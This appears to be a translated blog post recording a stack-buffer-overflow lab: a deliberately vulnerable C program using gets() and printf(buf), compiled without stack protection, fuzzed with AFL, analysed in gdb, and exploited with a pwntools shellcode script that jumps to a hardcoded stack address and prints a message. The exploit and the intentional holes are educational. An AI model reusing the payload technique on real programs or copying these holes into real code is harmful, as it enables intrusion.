gets function vulnerability execution code

gets function vulnerability execution code


I recently learned the AFL tool, and at the same time executed the code based on the vulnerability of the gets function. I will have time to conduct detailed analysis after I have time to analyze the specific principles. Currently, I am just making a record. The main content can be found here .

Environment : kali 4.13.0-kali1-amd64

1. Install the tool peda:

  Execute on command line

  • git clone https://github.com/longld/peda.git ~/peda
  • echo “source ~/peda/peda.py” >> ~/.gdbinit

2. Open the target program with gdb:

  • Mini program code:
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <signal.h> 

int vuln(char *str)
{
    
    
    int len = strlen(str);
    if(str[0] == 'A' && len == 16)
    {
    
    
        raise(SIGSEGV);
        //如果输入的字符串的首字符为A并且长度为66,则异常退出
    }
    else if(str[0] == 'F' && len == 6)
    {
    
    
        raise(SIGSEGV);
        //如果输入的字符串的首字符为F并且长度为6,则异常退出
    }
    else
    {
    
    
        printf("it is good!\n");
    }
    return 0;
}

int main(int argc, char *argv[])
{
    
    
    char buf[32]={
    
    0};
    gets(buf);//存在栈溢出漏洞
    printf(buf);//存在格式化字符串漏洞
    vuln(buf);

    return 0;
}

  • Then compile with AFL-gcc:
    afl-gcc -fno-stack-protector -z execstack c/vul.c -o ./vuln-new.
    Note: the target program needs to be compiled with afl-gcc, and needs to be set during compilation. :
    -fno-stack-protector -z execstack disables related protection compilation settings
  • gdb source/vuln
    and then debug and run in gdb: r
    Insert image description here

3. Use the crush obtained by AFL-fuzz as input for gdb debugging

Insert image description here

4. Get detailed information about program crash:

Insert image description here
Insert image description here
Insert image description here
The cause of the crash is SIGSEGV/Segmentation fault.

5. Then view the data input by crush:

Insert image description here
It is found that the data in crush is the same as the data in the RSP register in gdb, so the specified location can be modified to modify the value of the RSP register.

6. Set a breakpoint at the function return point in gdb for analysis:

Insert image description here
Insert image description here

7. Create a new program input file:

  • The first 40 characters are A (command line execution: printf “%0.sA” {1…40} > test3)
  • The middle 6 characters are B (command line execution: printf “%0.sB” {1…6} >> test3)
  • The last two characters are '\0' (command line execution: printf "%0.s\0" {1…2} >> test3)
  • The last 112 characters are C (command line execution: printf “%0.sC” {1…112} >> test3)

8. Use hexdump to view:

Insert image description here](https://img-blog.csdnimg.cn/20191120205650376.png)![Insert image description here

9. Using test3 as the input of the program, you can get:

Insert image description here
It means that the program will jump to the address 0x424242424242 (that is, the BBBBBB we entered) for execution, but this address is illegal, so we need to replace this address with our shellcode address, and then we can execute our shellcode

10. The code to build the shellcode is as follows:

import struct
from pwn import *
def generate_payload(start_addr,shellcode):
	context.arch='amd64'
	
	nop=asm('nop',arch='amd64')
	nop1=nop*40
	s_code=asm(shellcode)

	addr=struct.pack("<Q",start_addr)
	payload=nop1+addr+(nop*16)+s_code
	
	return payload

a=0x7fffffffe110
payload=generate_payload(a,shellcraft.amd64.linux.echo("hello,good job \n")+shellcraft.amd64.linux.exit())
# print(payload)

with open("./shellcode-new",'wb') as f:
	f.write(payload)
	print("generate successfully!")

The value of variable a is the address at the top of the stack, which is the address where our shellcode code will be executed (the code will be executed on the stack, which is why the corresponding station protection settings need to be turned off during compilation). It needs to be determined according to the location of your machine. address is changed.

11. After building the shellcode, use hexdump to view:

Insert image description here

12. Then use shellcode as the input of the program in gdb to run the program (you still need to set a breakpoint in ret):

Insert image description here

13. The running status is obtained as follows:

Insert image description here
Insert image description here
Insert image description here
The stack view at this time
Insert image description here
is consistent with the shellcode of the previous hexdump.

14. It can be seen that the data on the top of the stack at this time is address 0x00007fffffffe110:

Insert image description here

15. Because a breakpoint is set, RIP=0x555555555190 at this time:

Insert image description here
When performing the ret operation, the data on the top of the stack will be passed to RIP, so that the program execution path goes to the specified address - that is, the stack, and the stack is our shellcode, and the shellcode is executed.

16. Because a breakpoint is set in gdb, the program is interrupted; execution continues in gdb:

Insert image description here

17. Successful execution, now we cancel the breakpoint and re-execute, success:

Insert image description here

Guess you like

Origin blog.csdn.net/weixin_39561364/article/details/103170979